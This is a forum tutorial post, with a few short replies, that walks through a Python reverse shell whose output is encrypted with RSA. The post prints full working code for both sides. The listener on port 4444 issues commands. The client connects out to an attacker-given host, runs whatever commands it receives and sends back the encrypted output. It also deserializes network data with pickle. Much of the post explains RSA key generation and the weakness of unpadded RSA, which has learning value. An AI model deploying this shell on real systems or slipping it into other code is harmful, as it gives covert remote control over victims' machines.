Reverse shell in Python with RSA encryption

Hello,

This is a python tutorial on programming a reverse shell with RSA encryption. I like to mention that this post is more about understanding the cryptography involved in the shell rather than the shell itself. The github link is https://github.com/ca10x/RSA-reverse-shell.

Listener

First we need a listener to handle all incoming connections. Here is the code of listener_rsa.py

#!/usr/bin/python

from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Hash import SHA256
import socket
from thread import *
import sys
import pickle

#Generate public key and private key

random_generator = Random.new().read
key = RSA.generate(2048, random_generator)
public_key = key.publickey()

#Create socket and bind to accept connections

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.bind(("0.0.0.0", 4444))
except socket.error, v:
    print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
    sys.exit()


print "Socket bind complete"

s.listen(2)
print "[+] Listening to the incoming connection on port 4444..."

def clientthread_sendpublickey(client) :
    client.send(pickle.dumps(public_key))

def clienthandle(client) :
    while True :
        command = raw_input('~$ ')
        client.send(command)
        if command == 'quit' :
           break
        buf = client.recv(2048)
        encreply = pickle.loads(buf)
        print key.decrypt(encreply)

while True:
    (client, (ip, port)) = s.accept()
    print "Received connection from : ", ip
    start_new_thread(clientthread_sendpublickey, (client,))
    print "Public Key sent to", ip
    start_new_thread(clienthandle, (client,))

I use PyCrypto module for cryptography in Python. Go ahead and install it. I recommend pip to install the modules.

$ sudo pip install pycrypto

Before we jump into the code let me explain you a bit about RSA encryption and it’s keys. RSA is an asymmetric encryption standard. It has two keys, public and private. In simple words, public key is used to encrypt the message and private key is used to decrypt. Below is a block diagram which describes the process

If you are interested in mathematical working of RSA, then I recommend reading http://mathworld.wolfram.com/RSAEncryption.html (Beware, for geeks only)

In the program above, a key is generated first which is also a private key.

key = RSA.generate(2048, random_generator)

The function RSA.generate takes two arguments, first is the size of the key in bits and second is the random number usually generated using python random function. After the creation of private key, public key is extracted from it and stored in a variable for future use.

public_key = key.publickey()

Sockets are created using socket module which is relatively simple. You can refer the official documentation of Python sockets for this or even a simple Google search will do.

The socket is binded and waits for the connection incoming connection.

Note - If you want to bind the socket in Linux to the port lesser than 1024, then you have to execute the script as root.

When a connection is received, a new thread is initialized to send the generated public key to the client so that it can encrypt the replies.

def clientthread_sendpublickey(client) :
    client.send(pickle.dumps(public_key))

Why do we use pickle? Pickle is used to serialize and de-serialize the python objects. Since public_key is not a regular string, it must be pickled and then sent to the receiver.

Warning - The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Once the public key is sent, another thread clienthandle(client) is initialised to while True : loop which sends the command given to the receiver. The receiver runs the command and encrypts the output using public key. Then the output is pickled sent to the listener.
The reply is unpickled, decrypted using the private key and printed on the screen.

encreply = pickle.loads(buf)
print key.decrypt(encreply)

The connection is terminated if ‘quit’ command is given.

##Reverse shell

Let’s move on to the receiver’s end where the reverse shell resides. The script of the reverse_shell_rsa is given below

#!/usr/bin/python

import socket, subprocess, sys
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
import pickle


RHOST = sys.argv[1]
RPORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

def receive_key():
   data_key = s.recv(1024)
   return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)


while True :
    command = s.recv(1024)
    if command == 'quit' :
         break
    reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout, stderr = reply.communicate()
    en_reply = public_key.encrypt(stdout, 32)
    s.send(pickle.dumps(en_reply))

s.close()

As always, import the necessary modules. The IP address to connect to is given as an argument and is stored in the RHOST variable. Socket is created and the connection is made with the server (listener). As soon as the connection is accepted, the server sends the public key (Scroll up to the clientthread_sendpublickey() in listener.py script) which is received via function receive_key() and depickled (remember the pickling?) to obtain the public key.

def receive_key():
   data_key = s.recv(1024)
   return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)

A while True loop is initialized for the persistence of the connection and command is received. If the command is ‘quit’ then the show is over. Else the given command is run as a subprocess and the standard output, standard error is piped as to the variable ‘reply’. The standard output is then encrypted using the public key, pickled and sent to the server.

en_reply = public_key.encrypt(stdout, 32)
s.send(pickle.dumps(en_reply))

It then waits patiently until the next command.

##Important note

  • This method is the implementation of ‘textbook RSA’. For the real world implementation, you have to add paddings such as PKCS1_OAEP.

  • The RSA is a lot slower and it can encrypt only 256 bytes at a time. Why you ask? Because the value of n is 2048 and 2048/8 = 256. The threshold will lower if the padding is added since it takes up couple more bytes.

The workaround is that the RSA should be used over AES.

I’ll explain that concept in the next post. Since this is my first post, feedbacks are welcome and appreciated.

Happy new year folks!

Regards,

Cal0X

11 Likes

SUPER DOPE!

@Cal0X is 1337 as.

1 Like

I’m excited for when you show us an AES key exchange with RSA.

2 Likes

Thank you. Glad you enjoyed it :slight_smile:

This topic was automatically closed after 30 days. New replies are no longer allowed.